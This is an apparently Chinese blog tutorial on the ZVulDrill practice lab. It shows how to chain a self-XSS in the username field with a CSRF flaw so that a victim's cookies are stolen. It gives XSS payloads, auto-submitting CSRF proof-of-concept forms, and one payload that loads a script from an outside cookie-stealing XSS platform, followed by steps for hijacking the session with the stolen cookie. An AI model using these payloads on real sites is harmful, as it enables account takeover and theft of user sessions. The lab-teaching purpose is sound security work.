你是否有過這樣的經歷，你發現了一個xss，但是貌似只能叉自己，輸出點只有自己可以看見。這個時候，你會覺得這個xss很雞肋，當你就此忽略這個漏洞的時候，你可能丟掉一個發出組合技能的機會。
今天我們來介紹一個場景，當xss遇上csrf的時候，是否能打出一套漂亮的組合技能。
實驗環境:
ZvulDirll[請用下面我簡單修改過的版本]
下載地址:在文章最後面
一、安裝:
0x00:解壓ZVulDrill壓縮包，將其放在www目錄下，也就是你的網站根目錄。
0x01、編輯ZVulDrill\sys\config.php中的數據庫賬號和密碼
0x02、打開mysql終端，創建zvuldrill數據，使用下面的sql語句。
create database zvuldrill；
0x03、然後開始導入sql語句進zvuldrill數據庫。
use zvuldrill;
source F:/wamp/www/ZVulDrill/sys/zvuldrill.sql;
0x04、打開瀏覽器，訪問
http://localhost/ZVulDrill/
二、尋找Xss漏洞
0x00、搜索框的xss
一開始打開這個web應用，我們可以大概看到的功能點，比如搜索留言、用戶登錄和註冊、留言。而一般倆說搜索框容易出現xss或者sql注入的問題。
(1)我們先輸入一些內容進行搜索，比如2333333。如下圖
可以看到，我們搜索的內容顯示在頁面上。我們右鍵查看一下元素，觀察2333333在什麼標籤之間。如下圖，2333333並沒有被什麼標籤包裹住。
我們將搜索的內容變成<h1>test</h1>,點擊回車。可以看到頁面上多了一個以h1標籤顯示的test字符串，也就是這裏存在xss漏洞。網站後臺並沒有淨化我們的特殊字符，使得我們輸入的數據被當做成是標籤來解析。效果如下圖。
這裏是一個存在XSS漏洞的點。
0x01、
註冊一個賬號後，登錄之後進行測試。
1）像這種留言板，一般在留言處比較容易出現xss漏洞。我們先試試在留言處輸入一堆異常字符看看是否會被轉義。如下圖，我們輸入2333'"\&#;<>,點擊留言即可。
然後我們右鍵查看網頁源代碼，搜索"2333",我們看一下我們異常字符被怎樣處理。
可以看到這裏2333是被td標籤包裹住，要是我們想插入我們的javascript代碼，那我們需要先閉合<td>，可是我們的<>都被轉義了。這裏行不通。
2）我們繼續看一看這裏有的功能，有個編輯功能。點擊進去看看。如下圖，這裏我們可以修改我們的用戶名，而用戶名的輸出點，當前頁面有一個，注意右上角的小框，那裏是顯示用戶的用戶名。
我們右鍵查看元素，查看一下右上角小框是被什麼標籤所包裹住。如下圖，
這裏的用戶名是被a標籤包裹住的，我們嘗試一下閉合a標籤然後插入一段javascript代碼看看。
修改用戶名爲test</a><script>alert(1)</script><a>
我們點擊更新按鈕，查看一下效果。
可以看到這裏，執行了script標籤內的alert函數。也就是這裏存在一個注入點。我們修改一下alert的內容，即可獲取cookie值。
修改用戶名爲test</a><script>alert(document.cookie)</script><a>
我們正確的獲取到了cookie值，但是這裏的xss只能叉自己，我們怎樣才能讓這裏的xss發揮真實的作用，盜取他人的cookie信息，而不僅是自己的呢？
三、CSRF漏洞
正如CSRF漏洞是僞造別人發出某個請求，致使別人在不知情的情況下執行某個操作，如修改密碼、留言、添加用戶等等。
0x00、如何測試是否存在CSRF漏洞
1)這裏需要用到Brupsuite來對網站後臺的防禦進行一些分析。第一個是觀察發出的請求是否帶有隨機的Token值；第二個是分析網站後臺是否對Referer進行校驗。
我們配置好瀏覽器的代理爲Brupsuite監聽的端口。點擊更新用戶名，Brupsuite抓取數據包。如下圖
可以看到Post的數據包中並沒有出現token字眼，隨機數token一般是網站用來防禦CSRF的一個措施。除了Token，我們還有兩個要點要分析。第一個要點，網站是否校驗了請求的Referer，這個Http header是用來表示請求的來源地址是什麼。如果是CSRF的話，那麼Referer的值將會爲空。
2)我們在數據包的空白處右鍵，send to repeater，發到repeater方便我們修改數據之後重放請求。這裏我們將上面Post數據中的Referer那一行刪除掉。
刪除後，點擊Go按鈕。返回內容如下圖。
返回的數據包將我們重定向到edit.php，我們繼續點擊follow redirection按鈕，觀察一下返回的頁面內容。
我們再下面的搜索框那裏輸入demo11，可以發現有兩處匹配到了。說明我們這裏修改成功，在Http header沒有附帶Referer的情況下。
3)接下來我們要對最後一個要素進行驗證，就是Post數據中的id參數。我們要驗證id參數的存在是否影響我們修改用戶名。我們同樣是在Repeater裏面，把Post數據中的id參數刪除掉，同時我們把username也修改成demo22，用來與上一次的修改區分開。如下圖。
修改完成之後，我們點擊Go按鈕，讓數據包發送。如下圖，返回的響應還是302，將我們重定向edit.php，但是頁面中還有Php的Notice信息，提醒我們id變量不存在。
我們繼續點擊follow redirection。然後再右下角的搜索框那裏搜索demo22。
可以看到在下圖，demo22出現了兩次，說明我們修改成功。也就是說，這裏的id參數並沒有影響我們修改用戶名。通過上面的兩次分析。我們可以確定這裏存在着CSRF漏洞。下面我們寫一個簡單的頁面去測試。
4)測試CSRF的Poc
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="hacker" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
我們複製上面的內容到文本編輯器，然後保存爲poc.html。然後在登錄了Zvudrill之後，在同一瀏覽器打開poc.html。
下圖是我的brupsuite抓取到poc發送到網站的請求，可以發現並沒有Referer值。
我們把brupsuite的代理功能關閉。然後查看一下Poc的效果。
可以看到下圖中的用戶名已經被修改成hacker。
四、綜合利用
1)、經過上面的分析，我們知道更新用戶名這裏的username並沒有過濾特殊字符可以造成xss，然後更新用戶名發送的請求存在CSRF，可以在用戶點擊的時候，修改用戶的用戶名。因而我們可以寫出下面的Poc。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="demo</a><script>alert(document.cookie)</script><a>" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
我們點擊源代碼爲上述代碼的html頁面之後，將會出現這樣的效果。
2)當然，我們這裏的value還可以是包含一段惡意的js代碼，可以竊取當前用戶的cookie到xss平臺。之後便可以使用盜取的cookie全仿造用戶的身份去做其他操作了。
下面我使用Xss平臺的一個盜取cookie的鏈接，Xss平臺的註冊地址
Poc如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>測試CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
<input type="hidden" name="username" value="test</a><script src=http://t.cn/RG3kRlu></script><a>" class="form-control" id="inputEmail">
<input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
var formTag = document.getElementById("Poc");
formTag.submit();
</script>
</body>
</html>
[1]我在Firefox瀏覽器進行登錄，然後再Firefox瀏覽器打開poc.html。然後在chrome瀏覽器利用cookie進行登錄。
在登錄Firefox進行登錄，如下圖
我們再Firefox中打開poc.html,如下圖
[2]我們登錄xss平臺，找到創建的項目。可以看到已經獲取到了受害者的cookie。
[3]利用盜取的cookie,在chrome瀏覽器直接仿造身份。
step1:訪問Xss平臺中獲取的Referer的url
step2:通過Chrome的EditThisCookie插件，重寫我們的cookie。
step3:再次訪問Referer對應的url，觀察效果。如圖
五、寫在最後
寫在最後，在***中重要的是人思考漏洞，對待漏洞的思路。在有想法的白帽子手中，不同漏洞的組合會起到高危漏洞的效果。我們不能期待每一次都遇到高危漏洞，我們只能改變我們對待漏洞的看法。
年後回來，搬家，新的工作內容，各種事情需要我去適應，也沒有抽出時間來更新自己的博客和發表文章，但是想分享的心一直都在。